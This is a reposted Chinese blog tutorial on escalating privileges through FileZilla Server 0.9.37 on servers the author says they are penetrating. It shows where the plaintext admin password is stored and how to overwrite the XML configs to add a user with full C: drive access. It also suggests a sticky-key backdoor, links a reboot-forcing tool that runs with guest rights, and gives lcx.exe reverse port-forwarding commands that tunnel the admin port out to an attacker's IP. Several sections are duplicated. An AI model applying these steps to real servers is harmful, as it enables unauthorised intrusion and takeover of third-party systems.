最新渗透一些国外的网站遇到了很多的服务器都是用的FileZilla_Server来做FTP服务器,于是就下载了一个来本地先测试下看看有什么方法能够提权,由此成文。本文测试的版本是FileZilla_Server-0_9_37。
1.基本信息测试
默认安装路径C:\Program Files\FileZilla Server
默认管理员端口:14147 (安装完可以修改)
访问FTP端口:21
安装目录下的2个重要的XML文件
C:\Program Files\FileZilla Server\FileZilla Server Interface.xml
C:\Program Files\FileZilla Server\ FileZilla Server.xml
安装完后跳出一个登录框,密码随便输入都可以登录,但是第二次登录就必须输入你第一次安装登录的密码了,密码可以在登录后修改。
(1) FileZilla Server Interface.xml 文件
该文件用来保存管理员的登录信息,密码也在里面,而且的是明文保存,格式如下
(1) FileZilla Server Interface.xml 文件
该文件用来保存管理员的登录信息,密码也在里面,而且的是明文保存,格式如下
<
FileZillaServer
>
<
Settings
>
<
Item
name
=
"Last Server Address"
type
=
"string"
>127.0.0.1</
Item
>
<
Item
name
=
"Last Server Port"
type
=
"numeric"
>14147</
Item
>
<
Item
name
=
"Last Server Password"
type
=
"string"
>adminpass</
Item
>
<
Item
name
=
"Always use last server"
type
=
"numeric"
>0</
Item
>
</
Settings
>
</
FileZillaServer
>
其中Last Server Address是上次管理端登录的IP地址,Last Server Password是的密码,保存的这个端口是管理管理的端口,默认情况下只允许本地127.0.0.1访问
(2)FileZilla Server.xml文件
该文件是用来保存普通ftp用户的信息的,默认安装后格式如下:
(2)FileZilla Server.xml文件
该文件是用来保存普通ftp用户的信息的,默认安装后格式如下:
<
FileZillaServer
>
<
Settings
>
<
Item
name
=
"Admin port"
type
=
"numeric"
>14147</
Item
>
</
Settings
>
</
FileZillaServer
>
(3)启动方式
在默认安装下,系统通过服务器方式加载,服务名为FileZilla Server FTP server,可以在命令里面实现启动和停止,命令如下:
在默认安装下,系统通过服务器方式加载,服务名为FileZilla Server FTP server,可以在命令里面实现启动和停止,命令如下:
net start
"FileZilla Server FTP server"
net stop
"FileZilla Server FTP server"
可以通过net start查看是否通过服务方式启动。
2.修改后的信息探测
在这边主要测试一些安全相关的,包括远程连接和用户管理
(1)添加远程允许管理ftp的IP地址
启动服务端程序,菜单栏中一次选择Edit->Settings,找到Admin Interface settings这个菜单。这个主要设置管理端的一些访问设置,如图01
要开启远程管理功能,第一步必须绑定管理端的IP地址,就是FTP服务器的IP地址(公网IP),如果你是外网的IP地址,第二步添加允许登录的管理端 IP地址,就是当前你的公网IP地址。这样设置完后点击OK就可以生效了。我们再去看看这个配置是怎么保存的,打开安装目录下FileZilla Server.xml文件,关注我们修改的:
192.168.11.7
192.168.11.11
第一条是ftp服务器的ip地址,第二条是允许连接ftp服务器管理端的IP地址。
(2)添加FTP用户
选择菜单:Edit->Users,点击按钮Add添加一个账户,但是要先添加一个用户组。
选择菜单:Edit->Groups,点击按钮Add添加一个用户组,比如LengF用户组,如图02:
添加完,我们在看看文件里面变化,打开安装目录下文件FileZilla Server.xml文件,看到如下:
2.修改后的信息探测
在这边主要测试一些安全相关的,包括远程连接和用户管理
(1)添加远程允许管理ftp的IP地址
启动服务端程序,菜单栏中一次选择Edit->Settings,找到Admin Interface settings这个菜单。这个主要设置管理端的一些访问设置,如图01
要开启远程管理功能,第一步必须绑定管理端的IP地址,就是FTP服务器的IP地址(公网IP),如果你是外网的IP地址,第二步添加允许登录的管理端 IP地址,就是当前你的公网IP地址。这样设置完后点击OK就可以生效了。我们再去看看这个配置是怎么保存的,打开安装目录下FileZilla Server.xml文件,关注我们修改的:
192.168.11.7
192.168.11.11
第一条是ftp服务器的ip地址,第二条是允许连接ftp服务器管理端的IP地址。
(2)添加FTP用户
选择菜单:Edit->Users,点击按钮Add添加一个账户,但是要先添加一个用户组。
选择菜单:Edit->Groups,点击按钮Add添加一个用户组,比如LengF用户组,如图02:
添加完,我们在看看文件里面变化,打开安装目录下文件FileZilla Server.xml文件,看到如下:
<
Users
>
<
User
Name
=
"81sec.com"
>
<
Option
Name
=
"Pass"
></
Option
>
<
Option
Name
=
"Group"
>lengf</
Option
>
<
Option
Name
=
"Bypass server userlimit"
>2</
Option
>
<
Option
Name
=
"User Limit"
>0</
Option
>
<
Option
Name
=
"IP Limit"
>0</
Option
>
<
Option
Name
=
"Enabled"
>2</
Option
>
<
Option
Name
=
"Comments"
></
Option
>
<
Option
Name
=
"ForceSsl"
>2</
Option
>
<
IpFilter
>
<
Disallowed
/>
<
Allowed
/>
</
IpFilter
>
<
Permissions
/>
<
SpeedLimits
DlType
=
"0"
DlLimit
=
"10"
ServerDlLimitBypass
=
"2"
UlType
=
"0"
UlLimit
=
"10"
ServerUlLimitBypass
=
"2"
>
<
Download
/>
<
Upload
/><
a
href
=
'http://www.81sec.com/wp-content/uploads/2011/03/FileZilla_file.zip'
>FileZilla_file</
a
>
</
SpeedLimits
>
</
User
>
</
Users
>
可见FTP就是通过XML来保存用户信息的。分析这些主要在下面提权会用到。
3.提权中的思路
如果FileZilla Server的安装目录有修改权限可以通过添加一个普通用户,只要给他c盘的所有权限就可以了,如果对方开启了3389,直接来个shift后门。找到安 装目录,先备份两个文件FileZilla Server Interface.xml和FileZilla Server.xml,然后将下面两个文件内容全部覆盖到这2个文件重启服务器即可,这两个文件的配置说明如下:
下载: FileZilla_file
添加一个用户名为81sec.com密码为123,用户组是Lengf,这个是必须存在的一个用户组,根据你当前的服务器的用户组相应修改,下面是默认路 径是c:盘,并且具有读写改的权限。有了权限就看你怎么发挥了。如果这个文件有修改权限就可以直接修改了。另外注意记得修改里面的服务器地址和允许连接管 理端的IP地址,修改代码如下:
3.提权中的思路
如果FileZilla Server的安装目录有修改权限可以通过添加一个普通用户,只要给他c盘的所有权限就可以了,如果对方开启了3389,直接来个shift后门。找到安 装目录,先备份两个文件FileZilla Server Interface.xml和FileZilla Server.xml,然后将下面两个文件内容全部覆盖到这2个文件重启服务器即可,这两个文件的配置说明如下:
下载: FileZilla_file
添加一个用户名为81sec.com密码为123,用户组是Lengf,这个是必须存在的一个用户组,根据你当前的服务器的用户组相应修改,下面是默认路 径是c:盘,并且具有读写改的权限。有了权限就看你怎么发挥了。如果这个文件有修改权限就可以直接修改了。另外注意记得修改里面的服务器地址和允许连接管 理端的IP地址,修改代码如下:
<
Item
name
=
"Admin IP Bindings"
type
=
"string"
>192.168.11.11</
Item
>
<
Item
name
=
"Admin IP Addresses"
type
=
"string"
>192.168.11.7</
Item
>
不过服务器要重新启动ftp服务器或者服务器重启。如果可以执行命令,就先停止该服务在启动服务即可生效了。
net start
"FileZilla Server FTP server"
net stop
"FileZilla Server FTP server"
重启完就ok了!本地假设直接登录管理FTP,不过建议不要修改允许连接的IP地址,直接添加个账户就可以了。格式就从上面的两个文件中提取就不说了。
4.疑问解决思路
(1)无法重启服务
在网络上有看到一种方法就是消耗系统资源逼迫服务器重启的方式。下面提供这种工具,并且在GUEST权限下就可以完成,另外取决于内存的大小。
下载: Guest权限重启服务器工具
(2)配置文件只有可读权限
如果安装目录只有可读那么就比较不好办,但是天无绝人之路,默认安装只允许127.0.0.1连接FTP服务器,那么本地的监听端口默认是14147,我 们可以通过端口转发工具将端口转发出来,如果服务器不在内网,随便一款端口转发都可以,如果服务器在内网?我们同样也有办法,记得3389反弹连接的方 法?对,利用LCX就可以将内网端口转发,而且是反弹模式。这里我就演示lcx的使用方法(在内网的情况)。假设你有公网IP或者能否映射端口到你本地的 路由器,那么在本地利用lcx.exe监听某个端口,比如:
4.疑问解决思路
(1)无法重启服务
在网络上有看到一种方法就是消耗系统资源逼迫服务器重启的方式。下面提供这种工具,并且在GUEST权限下就可以完成,另外取决于内存的大小。
下载: Guest权限重启服务器工具
(2)配置文件只有可读权限
如果安装目录只有可读那么就比较不好办,但是天无绝人之路,默认安装只允许127.0.0.1连接FTP服务器,那么本地的监听端口默认是14147,我 们可以通过端口转发工具将端口转发出来,如果服务器不在内网,随便一款端口转发都可以,如果服务器在内网?我们同样也有办法,记得3389反弹连接的方 法?对,利用LCX就可以将内网端口转发,而且是反弹模式。这里我就演示lcx的使用方法(在内网的情况)。假设你有公网IP或者能否映射端口到你本地的 路由器,那么在本地利用lcx.exe监听某个端口,比如:
Lcx.exe –listen 51 14147
51是目标服务器端映射过来的端口,后面的14147是你本地FileZilla Server的端口。下一步在目标服务器上执行:
Lcx.exe –slave 123.123.123.123 51 127.0.0.1 14147
23.123.123.123是攻击者的公网IP,51是攻击者监听的端口,127.0.0.1是目标服务器上的,14147是目标服务器的FileZilla Server的管理端监听端口。如图04,05:
本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/538382,如需转载请自行联系原作者